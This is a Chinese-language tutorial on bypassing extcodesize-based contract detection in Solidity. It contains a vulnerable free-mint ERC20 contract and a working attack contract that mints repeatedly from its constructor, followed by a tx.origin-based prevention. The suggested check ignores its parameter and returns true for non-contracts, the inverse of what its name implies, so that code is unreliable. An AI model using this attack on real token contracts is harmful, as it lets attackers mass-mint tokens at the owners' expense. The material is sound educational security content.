绕过智能合约检测
许多免费铸造的项目使用 isContract() 方法限制对外部账户(EOAs)的访问以及限制智能合约的交互。 此方法使用 extcodesize 来决定地址运行时 bytecode 长度。 如果大于零,则被视为智能合约;否则,它被视为EOA。
    // Using extcodesize to check if an address is a contract
    function checkContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
然而,由于在智能合约创建期间,运行时bytecode尚未存储在  地址上,所以bytecode的长度为零,所以存在潜在的漏洞。 如果我们将逻辑存放在构造器中,我们可以借此绕过isContract()检查。
利用漏洞的示例
在下面的例子中,FreemintERC20合同使用checkContract()函数来防止智能合约执行它的mintTokens()函数,以防止自动大量铸造。 每次调用mintTokens()都会铸造100个通证。
// Using extcodesize to check if an address is a contract
contract FreemintERC20 is ERC20 {
    constructor() ERC20("Token", "TKN") {}
    function checkContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
    // mint function can only be called by non-contract addresses (vulnerable)
    function mintTokens() public {
        require(!checkContract(msg.sender), "Contracts are not allowed!");
        _mint(msg.sender, 100);
    }
}
我们创建一个智能合约用于攻击,并在构造器中多次调用mintTokens()代码:
// Exploiting constructor characteristics for attacks
contract AttackContract {
    bool public detectedAsContract;
    address public targetContract;
    // During contract creation, extcodesize is 0, thus bypassing isContract() checks.
    constructor(address addr) {
        targetContract = addr;
        detectedAsContract = FreemintERC20(addr).checkContract(address(this));
        for(uint i; i < 10; i++){
            FreemintERC20(addr).mintTokens();
        }
    }
    // After contract deployment, extcodesize > 0, isContract() will detect
    function tryMint() external {
        FreemintERC20(targetContract).mintTokens();
    }
}
在这个智能合约中,通过调用构造函数中的mintTokens()方法可以绕过isContract()检查,并铸造通证。 状态变量 detectedAsContract 在构造器中将被设置为false。 部署后,runtime bytecode 存储在智能合约中,并且 extdesize > 0 , 因此当调用 mintTokens()时,checkContract() 会成功地阻止铸造。
预防措施
我们可以使用 (tx.origin == msg.sender) 来确定调用者是否是智能合约。 如果调用者是EOA,那么tx.origin和msg.sender将是相等的;如果他们不相等,则调用者是智能合约。
function realContractCheck(address account) public view returns (bool) {
    return (tx.origin == msg.sender);
}